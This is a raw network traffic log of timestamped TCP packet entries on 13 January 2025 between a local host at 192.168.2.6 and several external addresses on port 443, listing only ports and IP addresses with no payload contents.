Jan 13, 2025 21:52:51.342933893 CET	49751	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:51.342952967 CET	443	49751	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.343480110 CET	443	49751	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.344131947 CET	49751	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:51.344233990 CET	443	49751	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.344428062 CET	49751	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:51.391328096 CET	443	49751	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.404525042 CET	443	49743	40.115.3.253	192.168.2.6
Jan 13, 2025 21:52:51.404839039 CET	443	49743	40.115.3.253	192.168.2.6
Jan 13, 2025 21:52:51.405213118 CET	49743	443	192.168.2.6	40.115.3.253
Jan 13, 2025 21:52:51.405427933 CET	49743	443	192.168.2.6	40.115.3.253
Jan 13, 2025 21:52:51.405448914 CET	443	49743	40.115.3.253	192.168.2.6
Jan 13, 2025 21:52:51.453381062 CET	443	49721	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:51.493957996 CET	443	49751	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.494147062 CET	443	49751	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.494213104 CET	49751	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:51.494570971 CET	49721	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:51.496123075 CET	49751	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:51.496140957 CET	443	49751	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.519498110 CET	443	49721	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:51.573693991 CET	49721	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:51.573724031 CET	443	49721	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:51.575628042 CET	49721	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:51.575958967 CET	443	49721	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:51.576086044 CET	49721	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:51.590975046 CET	443	49757	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.591303110 CET	49757	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:51.591326952 CET	443	49757	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.593132019 CET	443	49757	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.593595028 CET	49757	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:51.593723059 CET	49757	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:51.593770981 CET	443	49757	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.636185884 CET	49757	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:51.727724075 CET	443	49757	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.727886915 CET	443	49757	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.727943897 CET	49757	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:51.727955103 CET	443	49757	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.728033066 CET	443	49757	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.728080988 CET	49757	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:51.728085995 CET	443	49757	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.728220940 CET	443	49757	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.728281975 CET	49757	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:51.728287935 CET	443	49757	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.728584051 CET	443	49757	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.728684902 CET	443	49757	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.728732109 CET	49757	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:51.728737116 CET	443	49757	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.728776932 CET	49757	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:51.728797913 CET	443	49757	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.762330055 CET	443	49758	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.762779951 CET	49758	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:51.762842894 CET	443	49758	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.763158083 CET	443	49758	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.763629913 CET	49758	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:51.763705969 CET	443	49758	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.763803005 CET	49758	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:51.763842106 CET	49758	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:51.763870955 CET	443	49758	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.776504040 CET	49757	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:51.776511908 CET	443	49757	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.818075895 CET	443	49757	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.818164110 CET	49757	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:51.818180084 CET	443	49757	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.818264961 CET	443	49757	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.818317890 CET	49757	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:51.818324089 CET	443	49757	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.818428040 CET	443	49757	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.818501949 CET	443	49757	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.818551064 CET	49757	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:51.818556070 CET	443	49757	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.818597078 CET	49757	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:51.818875074 CET	443	49757	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.819022894 CET	443	49757	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.819102049 CET	443	49757	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.819150925 CET	49757	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:51.819158077 CET	443	49757	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.819199085 CET	49757	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:51.819204092 CET	443	49757	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.819763899 CET	443	49757	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.819830894 CET	49757	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:51.819835901 CET	443	49757	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.819905043 CET	443	49757	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.819989920 CET	443	49757	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.820039034 CET	49757	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:51.820045948 CET	443	49757	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.820086002 CET	49757	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:51.820090055 CET	443	49757	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.820619106 CET	443	49757	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.820702076 CET	443	49757	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.820755005 CET	49757	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:51.820760012 CET	443	49757	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.820823908 CET	49757	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:51.820827961 CET	443	49757	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.820904016 CET	443	49757	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.820949078 CET	49757	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:51.820954084 CET	443	49757	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.870259047 CET	49757	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:51.870270967 CET	443	49757	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.908765078 CET	443	49757	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.908859968 CET	443	49757	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.908895016 CET	49757	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:51.908905983 CET	443	49757	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.908951998 CET	49757	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:51.908957958 CET	443	49757	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.909214973 CET	443	49757	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.909235001 CET	443	49757	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.909272909 CET	49757	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:51.909281015 CET	443	49757	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.909291029 CET	49757	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:51.909637928 CET	443	49757	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.909701109 CET	49757	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:51.909706116 CET	443	49757	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.909745932 CET	49757	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:51.909749985 CET	443	49757	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.909797907 CET	443	49757	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.909846067 CET	49757	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:51.909851074 CET	443	49757	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.909878969 CET	443	49757	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.909900904 CET	49757	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:51.909905910 CET	443	49757	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.909931898 CET	49757	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:51.910413027 CET	443	49757	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.910494089 CET	49757	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:51.910496950 CET	443	49757	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.910526037 CET	443	49757	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.910589933 CET	49757	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:51.911267996 CET	443	49757	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.911329985 CET	49757	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:51.911386013 CET	443	49757	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.911441088 CET	49757	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:51.911470890 CET	443	49757	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.911524057 CET	49757	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:51.911549091 CET	443	49757	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.911601067 CET	49757	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:51.912381887 CET	443	49757	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.912444115 CET	49757	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:51.912463903 CET	443	49757	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.912518978 CET	49757	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:51.913091898 CET	443	49757	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.913172960 CET	49757	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:51.913182974 CET	443	49757	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.913227081 CET	49757	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:51.913230896 CET	443	49757	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.913371086 CET	443	49757	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.913633108 CET	49757	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:51.913654089 CET	49757	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:51.913667917 CET	443	49757	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.913676023 CET	49757	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:51.913713932 CET	49757	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:51.980561972 CET	443	49758	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.980602026 CET	443	49758	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.980627060 CET	443	49758	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.980654001 CET	443	49758	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.980658054 CET	49758	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:51.980675936 CET	443	49758	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.980688095 CET	443	49758	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.980688095 CET	49758	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:51.980721951 CET	49758	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:51.980737925 CET	443	49758	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.980772018 CET	443	49758	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.980809927 CET	49758	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:51.980818033 CET	443	49758	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.985172987 CET	443	49758	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.985191107 CET	443	49758	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.985214949 CET	443	49758	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.985255003 CET	49758	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:51.985280991 CET	443	49758	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:51.985300064 CET	49758	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:52.026545048 CET	49758	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:52.070951939 CET	443	49758	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:52.070988894 CET	443	49758	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:52.071073055 CET	443	49758	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:52.071094990 CET	443	49758	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:52.071101904 CET	49758	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:52.071111917 CET	443	49758	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:52.071180105 CET	443	49758	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:52.071219921 CET	49758	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:52.071614981 CET	443	49758	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:52.071651936 CET	443	49758	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:52.071664095 CET	49758	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:52.071666956 CET	443	49758	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:52.071677923 CET	443	49758	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:52.071692944 CET	49758	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:52.071717024 CET	49758	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:52.072141886 CET	443	49758	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:52.072268009 CET	443	49758	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:52.072287083 CET	443	49758	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:52.072305918 CET	443	49758	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:52.072324991 CET	443	49758	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:52.072339058 CET	49758	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:52.072357893 CET	443	49758	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:52.072386026 CET	49758	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:52.072411060 CET	49758	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:52.072422028 CET	443	49758	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:52.073211908 CET	443	49758	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:52.073230028 CET	443	49758	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:52.073250055 CET	443	49758	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:52.073263884 CET	49758	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:52.073271036 CET	443	49758	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:52.073281050 CET	443	49758	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:52.073298931 CET	49758	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:52.073321104 CET	49758	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:52.073332071 CET	443	49758	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:52.120409012 CET	49758	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:52.120475054 CET	443	49758	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:52.161484957 CET	443	49758	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:52.161519051 CET	443	49758	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:52.161540985 CET	443	49758	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:52.161556959 CET	49758	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:52.161566973 CET	443	49758	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:52.161627054 CET	443	49758	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:52.161665916 CET	49758	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:52.161761999 CET	49758	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:52.162087917 CET	443	49758	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:52.162108898 CET	443	49758	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:52.162151098 CET	49758	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:52.162365913 CET	443	49758	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:52.162421942 CET	49758	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:52.162437916 CET	443	49758	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:52.162492037 CET	443	49758	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:52.162498951 CET	443	49758	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:52.162518978 CET	49758	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:52.162537098 CET	443	49758	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:52.162564993 CET	49758	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:52.162722111 CET	49758	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:52.163038015 CET	443	49758	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:52.163113117 CET	443	49758	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:52.163122892 CET	49758	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:52.163135052 CET	443	49758	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:52.163158894 CET	443	49758	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:52.163162947 CET	49758	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:52.163187027 CET	49758	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:52.163197041 CET	443	49758	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:52.163224936 CET	49758	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:52.163942099 CET	443	49758	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:52.163959980 CET	443	49758	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:52.164006948 CET	49758	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:52.164021969 CET	443	49758	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:52.164050102 CET	443	49758	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:52.164067030 CET	443	49758	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:52.164096117 CET	49758	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:52.164113998 CET	443	49758	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:52.164136887 CET	49758	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:52.164880991 CET	443	49758	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:52.164931059 CET	49758	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:52.164943933 CET	443	49758	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:52.165014029 CET	443	49758	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:52.165024996 CET	49758	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:52.165030956 CET	443	49758	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:52.165040970 CET	443	49758	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:52.165055990 CET	49758	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:52.165076971 CET	49758	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:52.251897097 CET	443	49758	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:52.251945019 CET	443	49758	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:52.251954079 CET	49758	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:52.251977921 CET	443	49758	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:52.252007961 CET	49758	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:52.252028942 CET	49758	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:52.252224922 CET	443	49758	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:52.252275944 CET	49758	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:52.252386093 CET	443	49758	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:52.252437115 CET	49758	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:52.252594948 CET	443	49758	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:52.252614021 CET	443	49758	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:52.252648115 CET	49758	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:52.252665043 CET	443	49758	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:52.252688885 CET	49758	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:52.252708912 CET	49758	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:52.252748966 CET	443	49758	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:52.252795935 CET	443	49758	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:52.252798080 CET	49758	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:52.252820969 CET	443	49758	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:52.252850056 CET	49758	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:52.253185987 CET	49758	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:52.253292084 CET	443	49758	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:52.253343105 CET	49758	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:52.253382921 CET	443	49758	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:52.253427029 CET	443	49758	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:52.253431082 CET	49758	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:52.253451109 CET	443	49758	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:52.253470898 CET	443	49758	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:52.253490925 CET	49758	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:52.253514051 CET	49758	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:52.253567934 CET	49758	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:52.253596067 CET	443	49758	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:52.298015118 CET	49767	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:52.298048973 CET	443	49767	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:52.298343897 CET	49767	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:52.298626900 CET	49767	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:52.298640013 CET	443	49767	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:52.791187048 CET	443	49767	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:52.791438103 CET	49767	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:52.791454077 CET	443	49767	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:52.791775942 CET	443	49767	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:52.792349100 CET	49767	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:52.792407990 CET	443	49767	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:52.792603970 CET	49767	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:52.839328051 CET	443	49767	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:52.936656952 CET	443	49767	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:52.936830997 CET	443	49767	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:52.936885118 CET	49767	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:52.937495947 CET	49767	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:52.937510967 CET	443	49767	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:53.167429924 CET	49774	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:53.167526960 CET	443	49774	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:53.167598963 CET	49774	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:53.167989969 CET	49774	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:53.168030024 CET	443	49774	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:53.648062944 CET	443	49774	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:53.648411036 CET	49774	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:53.648438931 CET	443	49774	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:53.649260044 CET	443	49774	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:53.649787903 CET	49774	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:53.649859905 CET	443	49774	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:53.649975061 CET	49774	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:53.691404104 CET	443	49774	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:53.777812004 CET	443	49774	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:53.778000116 CET	443	49774	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:53.779216051 CET	49774	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:53.780348063 CET	49774	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:53.780380011 CET	443	49774	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:53.783332109 CET	49780	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:53.783359051 CET	443	49780	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:53.783508062 CET	49780	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:53.784528017 CET	49780	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:53.784544945 CET	443	49780	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:54.164793015 CET	49785	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:54.164843082 CET	443	49785	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:54.165096045 CET	49785	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:54.165148973 CET	49785	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:54.165163040 CET	443	49785	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:54.243489027 CET	443	49780	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:54.243799925 CET	49780	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:54.243824959 CET	443	49780	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:54.244313955 CET	443	49780	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:54.244889021 CET	49780	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:54.244889021 CET	49780	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:54.244987965 CET	443	49780	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:54.291616917 CET	49780	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:54.392589092 CET	443	49780	104.18.95.41	192.168.2.6
